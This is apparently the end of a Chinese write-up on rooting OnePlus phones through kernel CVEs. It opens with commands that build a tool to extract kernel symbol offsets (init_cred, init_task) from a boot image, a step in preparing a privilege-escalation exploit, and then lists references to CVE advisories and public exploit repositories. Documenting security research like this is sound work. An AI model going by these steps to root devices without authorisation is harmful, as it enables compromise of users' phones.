cd source/cve-root-oneplus16/tools/extract_rs && cargo build --release --example sym_offsets
../../build/extract/release/examples/sym_offsets <boot.img> init_task init_cred misc_list sysctl_bootid
参考文献
[1]: https://www.cve.org/CVERecord?id=CVE-2026-43499 [2]: https://github.com/JoinChang/ghostlock-oneplus [3]: https://github.com/YuKongA/ghostlock-app [4]: /Users/yanghuan/Code/eperf-exporter/source/cve-root-oneplus15 [5]: https://opensource.oneplus.com [6]: https://blog.nns.ee/2026/09/24/oneplus-root/ [7]: https://calif.io/research/oempocalypse [8]: https://source.android.com/docs/security/bulletin/2026/2026-10-01 [9]: https://cert.europa.eu/publications/security-advisories/2026-005/ [10]: https://nvd.nist.gov/vuln/detail/CVE-2026-46242 [11]: https://docs.qualcomm.com/product/publicresources/securitybulletin [12]: https://android.googlesource.com/platform/system/sepolicy/+/refs/heads/main/private/app_neverallows.te [13]: https://nvd.nist.gov/vuln/detail/CVE-2026-64560 [14]: https://nvd.nist.gov/vuln/detail/CVE-2026-80758 [15]: https://github.com/NebuSec/CyberMeowfia [16]: https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.18.41 [17]: https://access.redhat.com/security/cve/cve-2026-64560
1. CVE Program. CVE-2026-43499: rtmutex: Use waiter::task instead of current in remove_waiter()[EB/OL]. 2026. https://www.cve.org/CVERecord?id=CVE-2026-43499 ↩
2. JoinChang. ghostlock-oneplus: GhostLock (CVE-2026-43499) kernel exploit for Android devices with locked bootloader[EB/OL]. GitHub, 2026. https://github.com/JoinChang/ghostlock-oneplus (修复版本表、支持设备、PGO 判定表) ↩
3. YuKongA. ghostlock-app: CVE-2026-43499 exploit app[EB/OL]. GitHub, commit24c9c511258ca534c325c3127be4c67b184912ff. https://github.com/YuKongA/ghostlock-app (tools/extract_rs:kallsyms/BTF 恢复与remove_waiter门禁) ↩
4. 杨欢. cve-root-oneplus15: 一加 15 锁 Bootloader 临时 root 工程[CP/OL]. 2026. 本地工程/Users/yanghuan/Code/eperf-exporter/source/cve-root-oneplus15(tools/extract_boot_from_ota.py、notes/feasibility.md、notes/offset-gap.md) ↩
5. OnePlus. OnePlus Open Source Code[EB/OL]. 2026. https://opensource.oneplus.com (内核源码发布页) ↩
6. Moorats, Rasmus (nns). Getting root on OnePlus 15 from an untrusted app, via an audio debug service and a vendor HAL[EB/OL]. 2026-09-24. https://blog.nns.ee/2026/09/24/oneplus-root/ ↩
7. Maar, Lukas (Calif). OEMpocalypse Now: A Generic Exploitation Strategy from Android untrusted app to root[EB/OL]. 2026-08-31. https://calif.io/research/oempocalypse ↩
8. Google. Android Security Bulletin—October 2026[EB/OL]. 2026-10-05. https://source.android.com/docs/security/bulletin/2026/2026-10-01 ↩
9. CERT-EU. Security Advisory 2026-005: High Vulnerability in the Linux Kernel ("Copy Fail", CVE-2026-31431)[EB/OL]. 2026. https://cert.europa.eu/publications/security-advisories/2026-005/ ↩
10. NIST. CVE-2026-46242: eventpoll: fix ep_remove struct eventpoll / struct file UAF[EB/OL]. NVD, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-46242 ↩
11. Qualcomm. October 2026 Security Bulletin[EB/OL]. 2026-10-05. https://docs.qualcomm.com/product/publicresources/securitybulletin ↩
12. Android Open Source Project. private/app_neverallows.te[EB/OL]. AOSP, 2026. https://android.googlesource.com/platform/system/sepolicy/+/refs/heads/main/private/app_neverallows.te ↩
13. NIST. CVE-2026-64560: posix-cpu-timers: Prevent UAF caused by non-leader exec() race[EB/OL]. NVD, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-64560 ↩
14. NIST. CVE-2026-80758: futex: Avoid private hash use-after-free on final put[EB/OL]. NVD, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-80758 (另见 CVE-2026-80776) ↩
15. NebuSec. CyberMeowfia: PoCs and exploits for CVEs — Android-CVE-2026-64560[EB/OL]. GitHub, 2026. https://github.com/NebuSec/CyberMeowfia/tree/main/security-research/Ndays/Android-CVE-2026-64560 ↩
16. Linux Kernel Stable. ChangeLog-6.18.41[EB/OL]. 2026. https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.18.41 ↩
17. Red Hat. CVE-2026-64560[EB/OL]. 2026. https://access.redhat.com/security/cve/cve-2026-64560 ↩
© 2026 Yang Huan · yanghuan9812@qq.com